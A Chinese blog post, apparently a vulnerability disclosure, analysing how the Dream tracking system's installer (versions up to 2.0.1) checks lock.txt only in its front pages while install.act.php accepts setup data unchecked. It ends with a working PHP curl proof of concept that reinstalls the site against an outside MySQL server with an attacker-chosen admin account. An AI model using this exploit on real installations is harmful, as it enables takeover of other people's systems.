Dream权限追踪系统<=2.0.1 重安装漏洞

在./install/install.php中

1 if(file_exists('lock.txt')){
2     echo '系统已安装,请不要重复安装!如需安装,请删除install文件夹下的lock.txt文件。';
3     exit();
4 }

通过检测lock.txt文件是否存在来判断系统是否已经安装了,

 

 

但是看到代码的最后,发现是这个样子的

1 <div class="act"><input onclick="onClose()" class="but" name="no" type="button" value="不同意" /> &nbsp; <input onclick="onNext()" class="but" name="yes" type="button" value="同意" />


点击按钮是通过前台js来控制提交的数据的,如果同意安装协议的话,就调用onNext()函数,看看这个函数的定义

 

1 function onNext(){
2     window.location = "check.php";
3 }

直接导向至check.php文件了,来看看这个文件是怎么写的

 1 <?php
 2 /*
 3  * @varsion        Dream缺陷跟踪系统 2.0var
 4  * @package        程序设计深圳市九五时代科技有限公司设计开发
 5  * @copyright    Copyright (c) 2010 - 2015, 95era, Inc.
 6  * @link        http://www.d-winner.com
 7  */
 8   
 9 require_once (dirname(__FILE__) . "/inc/config.inc.php");
10 $gd = gd_info();
11 $curl = function_exists('curl_init');
12 ?>
13 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
14 <html xmlns="http://www.w3.org/1999/xhtml">
15 <head>
16 <meta http-equiv="x-ua-compatible" content="ie=7" />
17 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
18 <title>Dream缺陷跟踪系统 - 安装向导</title>
19 ...

并没有判断入口是否合法,所以可以直接在浏览器中访问之

 

然后"下一步"又是个onNext()函数来处理的,继续看

 

 1 function onNext(){
 2     var data = document.getElementsByName("data");
 3     var num = 0;
 4     for(i=0;i<data.length;i++){
 5         if(data[i].value==1){
 6             num += Number(data[i].value);
 7         }
 8     }
 9     if(num==data.length){
10         window.location = "mysql.php";
11     }
12     num = 0;
13 }

最重要的是window.location="mysql.php";这条代码,也就是说下一步的数据提交给Mysql.php处理,继续看Mysql.php的代码

  1 <?php
  2 /*
  3  * @varsion        Dream缺陷跟踪系统 2.0var
  4  * @package        程序设计深圳市九五时代科技有限公司设计开发
  5  * @copyright    Copyright (c) 2010 - 2015, 95era, Inc.
  6  * @link        http://www.d-winner.com
  7  */
  8  
  9 if(file_exists('lock.txt')){
 10     echo '系统已安装,请不要重复安装!如需安装,请删除install文件夹下的lock.txt文件。';
 11     exit();
 12 } 
 13  require_once (dirname(__FILE__) . "/inc/config.inc.php");
 14 ?>
 15 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 16 <html xmlns="http://www.w3.org/1999/xhtml">
 17 <head>
 18 <meta http-equiv="x-ua-compatible" content="ie=7" />
 19 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
 20 <title>Dream缺陷跟踪系统 - 安装向导</title>
 21 <script language="javascript">
 22 <!-- 
 23 function onLast(){
 24     history.back();
 25 }
 26 
 27 function onClick(){
 28     h = list.host.value;
 29     n = list.name.value;
 30     u = list.user.value;
 31     wn = list.webname.value;
 32     hn = list.hostname.value;
 33     e = list.mail.value;
 34     au = list.adminuser.value;
 35     ap = list.adminpwd.value;
 36     ap2 = list.adminpwd2.value;
 37     if(h=="" || n=="" || u=="" || wn=="" || hn=="" || e=="" || au=="" || ap=="" || ap2==""){
 38         alert("选项不能为空");
 39         return false;
 40     }else{
 41         if(ap!=ap2){
 42             alert("两次输入的密码不相同");
 43             return false;
 44         }
 45         if(!e.match(/@/)){
 46             alert("邮箱格式不正确");
 47             return false;
 48         }
 49         
 50         return true;
 51     }
 52 }
 53 -->
 54 </script>
 55 <link href="img/style.css" rel="stylesheet" type="text/css" />
 56 </head>
 57 <body>
 58  <form action="inc/install.act.php" method="post" name="list">
 59 <div align="center">
 60 <div class="main">
 61 <div class="top">
 62   <img src="img/logo_about.png" height="45" />
 63   <span>Dream缺陷跟踪系统</span></div>
 64  
 65  <div class="content">
 66    <table width="100%" border="0" cellspacing="0">
 67      
 68   <tr>
 69     <td height="26" colspan="3" class="top_txt">数据库信息</td>
 70     </tr>
 71   <tr>
 72     <td width="21%" height="22">数据库服务器:</td>
 73     <td width="34%">&nbsp;<input name="host" type="text" class="txt_wd" value="127.0.0.1" /></td>
 74     <td width="45%">&nbsp;数据库服务器地址, 一般为 localhost</td>
 75     </tr>
 76   <tr>
 77     <td width="21%" height="22">数据库名:</td>
 78     <td width="34%">&nbsp;<input name="name" type="text" class="txt_wd" value="" /></td>
 79     <td>&nbsp;</td>
 80     </tr>
 81   <tr>
 82     <td width="21%" height="22">数据库用户名:</td>
 83     <td width="34%">&nbsp;<input name="user" type="text" class="txt_wd" value="" /></td>
 84     <td>&nbsp;</td>
 85     </tr>
 86   <tr>
 87     <td width="21%" height="22">数据库密码:</td>
 88     <td width="34%">&nbsp;<input name="pwd" type="password" class="txt_wd" value="" /></td>
 89     <td>&nbsp;</td>
 90     </tr>
 91   <tr>
 92     <td width="21%" height="22">数据表前缀:</td>
 93     <td width="34%">&nbsp;<input name="prefix" type="text" class="txt_wd" value="dwin_" /></td>
 94     <td>&nbsp;同一数据库运行多个系统时,请注意修改前缀</td>
 95     </tr>
 96   <tr>
 97     <td height="26" colspan="3" class="top_txt">程序及用户信息</td>
 98     </tr>
 99   <tr>
100     <td width="21%" height="22">项目名称:</td>
101     <td>&nbsp;<input name="webname" type="text" class="txt_wd" value="我的项目" /></td>
102     <td>&nbsp;</td>
103   </tr>
104   <tr>
105     <td width="21%" height="22">项目域名:</td>
106     <td>&nbsp;<input name="hostname" type="text" class="txt_wd" value="<?php echo URL ?>" /></td>
107     <td>&nbsp;</td>
108   </tr>
109   <tr>
110     <td width="21%" height="22">管理员邮箱:</td>
111     <td>&nbsp;<input name="mail" type="text" class="txt_wd" value="" /></td>
112     <td>&nbsp;请务必填写正确</td>
113   </tr>
114   <tr>
115     <td width="21%" height="22">管理员账号:</td>
116     <td>&nbsp;<input name="adminuser" type="text" class="txt_wd" value="admin" /></td>
117     <td>&nbsp;</td>
118   </tr>
119   <tr>
120     <td width="21%" height="22">管理员密码:</td>
121     <td>&nbsp;<input name="adminpwd" type="password" class="txt_wd" value="" /></td>
122     <td>&nbsp;</td>
123   </tr>
124   <tr>
125     <td width="21%" height="22">再输入一次密码:</td>
126     <td>&nbsp;<input name="adminpwd2" type="password" class="txt_wd" value="" /></td>
127     <td>&nbsp;请牢记您的账号与密码</td>
128   </tr>
129 
130 </table>
131  </div> 
132  <div class="act"><input onclick="onLast()" class="but" name="yes" type="button" value="上一步" /> &nbsp; <input onclick="return onClick()" class="but" name="put" type="submit" value="下一步" />
133    
134  <div><img src="img/step3.png" width="700" height="10" /></div>
135  </div>
136  <div class="foot">Copyright 2010-2015 <a href="http://www.95era.com/" target="_blank">九五时代</a> Inc.   All Rights Reserved</div>
137 </div>
138 </div></form>
139 </body>
140 </html>


判断入口是否合法了,但是这个判断,然并卵,因为这个文件并不是最终处理数据的文件,数据最终提交到./install/inc/install.act.php文件中处理,而这个install.act.php文件是这样子的:

 1 <?php
 2 /*
 3  * @varsion        Dream缺陷跟踪系统 2.0var
 4  * @package        程序设计深圳市九五时代科技有限公司设计开发
 5  * @copyright    Copyright (c) 2010 - 2015, 95era, Inc.
 6  * @link        http://www.d-winner.com
 7  */
 8  
 9 session_start();
10 require_once (dirname(__FILE__) . "/config.inc.php");
11 include(PJINC.'/core/filesys.lib.php');
12 
13 $nf_d = new filesys;
14 if(isset($_POST['put'])){
15     if($_POST['put']!=''){
16         $show = '';
17         $host = trim($_POST['host']);
18         $name = trim($_POST['name']);
19         $user = trim($_POST['user']);
20         $pwd = trim($_POST['pwd']);
21         $prefix = trim($_POST['prefix']);
22         $data = array();
23         $data['webname'] = trim($_POST['webname']);
24         $data['hostname'] = trim($_POST['hostname']);
25         $data['mail'] = trim($_POST['mail']);
26         $data['adminuser'] = trim($_POST['adminuser']);
27         $data['adminpwd'] = trim($_POST['adminpwd']);
28         $conn = mysql_connect($host,$user,$pwd);
29 ...

没有判断入口是否合法,直接接受POST过来的数据然后开始SQL操作,所以可以直接构造POST数据包提交过去,重新安装程序,当然,你需要先找一个可以外联的mysql服务器。

POC:

 1 <?php
 2 $url="http://127.0.0.1/dream/install/inc/install.act.php";
 3 $data="host=192.168.0.100&name=HackDream&user=root&pwd=root&prefix=hack_&webname=myHackTest&hostname=http://192.168.0.100/dream&mail=test@mail.com&adminuser=Hacker&adminpwd=Hacker&adminpwd2=Hacker&put=1";
 4 $ch=curl_init();
 5 curl_setopt($ch,CURLOPT_URL,$url);
 6 curl_setopt($ch,CURLOPT_POST,1);
 7 curl_setopt($ch,CURLOPT_HEADER,0);
 8 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
 9 curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
10 $result=curl_exec($ch);
11 curl_close($ch);
12 print_r($result);
13 ?>

可以看到新的数据库hackedream已经成功建立鸟~~~

 

posted @ 2016-03-01 22:52  不断学习中的小菜鸟  阅读(416)  评论(0编辑  收藏  举报